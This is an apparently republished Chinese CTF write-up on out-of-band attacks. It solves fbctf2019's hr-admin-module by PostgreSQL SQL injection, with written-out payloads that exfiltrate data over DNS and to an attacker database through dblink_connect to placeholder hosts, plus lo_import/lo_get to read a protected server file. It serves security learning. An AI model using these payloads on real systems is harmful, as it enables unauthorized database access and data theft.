OOB带外攻击学习

前言

之前看到fbctf的时候看到了这道题,但是一直没找到时间好好学习一下,这次某公司的比赛网络与信息安全领域专项赛——按F注入又碰到了一样的环境(真的就是一摸一样,可是最后卡在读文件一直读不出来,才想起来要学习一下这种方式。

知识

带外通道(OOB)

带外通道技术(OOB)让攻击者能够通过另一种方式来确认漏洞的存在。在这种没有任何回显或者表现得漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP/UDP/ICMP 请求,然后,攻击者可以通过这个请求来提取数据。一次 OOB 攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。

在Web中通常在以下场景会使用带外通道:

  1. 命令执行

  2. SQL注入

  3. XXE

带外通道得方式:

http方式:

http://domain.com/?secret=xxxxx   带出得信息位于get参数中
http://domain.com/xxxxx    带出得信息位于路径中
也可以放在cookie中或者post参数里

dns方式

curl   xxxx.domain.com     带出得信息位于域名当中

http方式和dns方式都有其局限性,DNS回显是有限制的,根据域名的规则,域名只能使用英文字符,数字,-,且-不能用作开头和结尾,域名长度也不可以超过63.

http方式和dns方式都需要注意编码得问题,否则影响其本身的结构

题目为例

fbctf2019 hr-admin-module

打开题目后,看到首页,首先最引人瞩目的应该就是File manager地方下的红色报错信息,该信息泄露了敏感文件的具体路径, /var/lib/postgresql/data/secret,并提示我们当前用户没有足够的权限,初步猜测这应该是题目想要我们获取的目标。

根据敏感文件路径,我们可以初步判定这个web应用在后端采用postgresql来进行存储。

在对网站进行初步的信息搜集,比如先扫描目录看看是否有敏感文件泄露,当然这里不是这道题目的核心,只是顺带提一句一般的做题或者渗透的思路,然后查看网站与后端有什么地方交互,比如

在这三处与网站交互的地方,user_search是在前端禁止的,前端禁止就等于没有禁止,不过可以直接通过get方法请求发送,既然题目明确对这里做了限制,那就提示我们漏洞点应该在这里,因此对这个user_search点进行测试(这里对语句需要执行多次,查询看起来是异步的,发送第二次查询才会返回第一次查询结果)。

/?user_search=1     返回正常
/?user_search=1'  返回warning提示

这里提示我们这个点可能存在注入,继续测试

/?user_search=1' and 1=0 --    返回正常
/?user_search=1' and 1=1 --    返回正常

这里我们猜测网站的逻辑,可能只有拼接后的sql语句出错,才会返回warning提示,那我们从这需要排除报错注入,以及布尔盲注,因为即使构造的语句出错,并不返回错误的具体信息,并且布尔拼接的语句都是可以正常执行的,在前端返回并不会有不同的表现。

我们可以继续利用order by来测试返回的columns数

/?user_search=1' order by 1 -- 返回正常
/?user_search=1' order by 2 -- 返回正常
/?user_search=1' order by 3 -- 返回warning提示

通过order by可以判断出user_search这个点返回的columns数为2,但是我们仍然不能获取信息,能否配合条件语句来控制?这个也许可以考虑

/?user_search=1' union select 1,2 --            返回warning提示
/?user_search=1' union select 1,'mote' --       返回正常
/?user_search=1' union select 'mote','mote' --  返回warning提示

这里可以判断对应列的属性为数值还是非数值类型(比如字符串和NULL值),说明column1为数值类型,column2为非数值类型

相关实验:SQL注入原理与实践

长按下面二维码,或点击文末“阅读原文”(PC端操作最佳哟)

长按开始学习

方法一:延时注入

顺着做题的思路,那是否可以进行延时盲注呢?在postgrest数据库中的延时函数有

pg_sleep(seconds)
pg_sleep_for(interval)
pg_sleep_until(timestamp with time zone)


pg_sleep让当前的会话进程休眠seconds 秒以后再执行。seconds是一个double precision 类型的值,所以可以指定带小数的秒数。
pg_sleep_for 对于指定为interval的较长睡眠时间是一个便利函数。
pg_sleep_until在需要特定唤醒时间时比较便利。


SELECT pg_sleep(1.5);
SELECT pg_sleep_for('5 minutes');
SELECT pg_sleep_until('tomorrow 03:00');

下面测试延时:

/?user_search=1' union select 1,pg_sleep(5) --   返回warning提示
/?user_search=1' union select 1,cast(pg_sleep(5) as text) --  要转换一下类型,返回正常,但是没有延时
/?user_search=1' union select 1,cast(pg_sleep_for('0.1 minutes') as text) --  返回正常,但是没有延时

说明正常的延时函数都被过滤了,但是repeat()方法可以导致延时(参考https://balsn.tw/ctf_writeup/20190603-facebookctf/)

/?user_search=1' union select 1,(select case when 1=1 then (select repeat('a', 10000000)) else NULL end) --

这样就可以获得一个延时注入的点,注入脚本如下(by balsn):

https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py

可以获得如下基本信息:

version: (Debian 11.2-1.pgdg90+1)
current_db: docker_db
current_schema: public
table of public: searches
columns of searches: id,search

searches表是空表

方法二:信息带外

在PostgreSQL中,存在dblink模块,可以外联数据库或者当前数据库,通过dblink_send_query来异步执行操作,但是同时因为会对host进行dns查询,因此,可以利用这个函数来把查询得到的信息通过DNS的方式传送出来。

/?user_search=1' union select 1,(select dblink_connect('')) --   没有提示warning,所以语句是正常的




/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT version()) || 'xxxx.ceye.io user=a password=a dbname=test')) --   查询版本,还可以使用另外一种方法


/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT current_setting('server_version_num')) || '.xxxx.ceye.io user=a password=a dbname=test')) --   查询到版本数字


/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT current_database()) || '.xxxx.ceye.io user=a password=a dbname=test')) --   查询到当前连接的数据库

顺着这个方法可以搜集数据库的一些信息,如方法一。

方法三:外联数据库

在VPS上部署一个PostgreSQL服务器,监控PostgreSQL的接收端口,设置连接的用户和密码为自己设置的即可,PostgreSQL默认不使用SSL加密通信数据,所以我们可以直接看到数据是明文传输的。

首先设置配置文件中 listen_addresses为*,监听所有地址(配置文件默认为postgresql.conf也在/var/lib/postgresql/data/下)

使用tcpdump来监控数据

sudo tcpdump -nX -i eth0 port 5432

尝试下连接该数据库,看能否抓到数据

/?user_search=1' union select 1,(select dblink_connect('host=192.168.66.38:5433 user=' || (SELECT current_database()) || ' password= dbname=test')) --

在读version()等一些信息的时候需要注意进行编码,否则字符串里的空格会破坏dblink_conncet的字符串参数结构。

/?user_search=1' UNION SELECT 1,(SELECT dblink_connect('host=xxx port=xxx user=@'||(SELECT+encode(cast(current_setting('server_version')+as+bytea),'base64'))||' password=postgres dbname=postgres')) --


通过上述三种方法并没有在数据库中发现什么有用的信息,并且唯一的表searches表也是空的,因此考虑读取文件,回到题目一开始的提示,这应该是暗示我们要读取/var/lib/postgresql/data/secret文件了。但是当前用户为docker,不够权限执行系统管理员才能执行的函数pg_read_file(), pg_ls_dir() or pg_stat_file()

因此我们需要找到一种方法来读取到/var/lib/postgresql/data/secret文件,/var/lib/postgresql/data/是postgresql的默认数据存储目录。

这里稍微记录下碰到这种情况也就是需要绕过的时候的做法,一般都是谷歌百度,然后阅读文档,另外可以自己起一个环境去搜索相关的函数。例如在这里,balsn的做法是另外起一个环境:

SELECT proname FROM pg_proc WHERE proname like '%file%';   查询所有带有file的函数
 pg_stat_get_db_temp_files
 pg_walfile_name_offset
 pg_walfile_name
 pg_rotate_logfile_old
 pg_read_file_old
 pg_read_file
 pg_read_file
 pg_read_file
 pg_read_binary_file
 pg_read_binary_file
 pg_read_binary_file
 pg_stat_file
 pg_stat_file
 pg_relation_filenode
 pg_filenode_relation
 pg_relation_filepath
 pg_show_all_file_settings
 pg_hba_file_rules
 pg_rotate_logfile
 pg_current_logfile
 pg_current_logfile

但是这些函数都似乎没起作用

SELECT proname FROM pg_proc WHERE proname like '%read%';   查阅带有read的函数
 loread
 pg_stat_get_db_blk_read_time
 pg_read_file_old
 pg_read_file
 pg_read_binary_file

可以看到第一个方法,通过查阅文档(学会阅读文档很重要!)

loread是面向SQL的大对象函数,比如lo_from_bytealo_putlo_getlo_creat, lo_create, lo_unlinklo_importlo_export

服务器端的lo_importlo_export函数和客户端的那几个有着显著的不同。这两个函数在服务器的文件系统里读写文件, 使用数据库所有者的权限进行。因此,只有超级用户才能使用他们。相比之下,客户端的输入和输出函数在客户端的文件系统里读写文件, 使用客户端程序的权限。客户端函数不需要超级用户权限。

lo_readlo_write的功能通过服务器端调用可用, 但是服务器端函数名不同于客户端接口,因为他们不包含下划线。你必须作为loreadlowrite 调用这些函数。

在将服务器端lo_import和lo_export函数授权给非超级用户时需要仔细考虑安全隐患。具有此类权限的恶意用户可以轻松地将其变为超级用户(例如,通过重写服务器配置文件),或者可以攻击服务器的其余文件系统,而无需获取数据库超级用户权限。因此,对这两个函数的权限授予必须谨慎。

回到题目中来,lo_import方法可以读取文件为postgres对象

/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || '.xxxx.ceye.io user=a password=a dbname=test')) --

返回了对应的oid

这说明这里我们可以使用lo_xx等一系列的方法

我们可以通过查询pg_largeobject_metadata表来获得所有的大对象的oid

/?user_search=1' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --

然后我们通过lo_get方法,来读取对应oid的object的值,因为读取后的值时bytea类型,需要进行转码比如UTF8

/?user_search=1' union select 1,(select dblink_connect('host=' || substring(convert_from(lo_get(16444),'utf8'),1,30) || '.xxxx.ceye.io user=a password=a dbname=test')) --

最后flag就在oid为16444的对象中

参考链接

https://balsn.tw/ctf_writeup/20190603-facebookctf/

https://xz.aliyun.com/t/5399

https://github.com/fbsamples/fbctf-2019-challenges/tree/master/web

https://github.com/PDKT-Team/ctf/tree/master/fbctf2019/hr-admin-module

https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md

https://www.postgresql.org/docs/11/dblink.html

https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py

http://www.postgres.cn/docs/9.4/functions-datetime.html#FUNCTIONS-DATETIME-DELAY

https://www.postgresql.org/docs/11/dblink.html

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值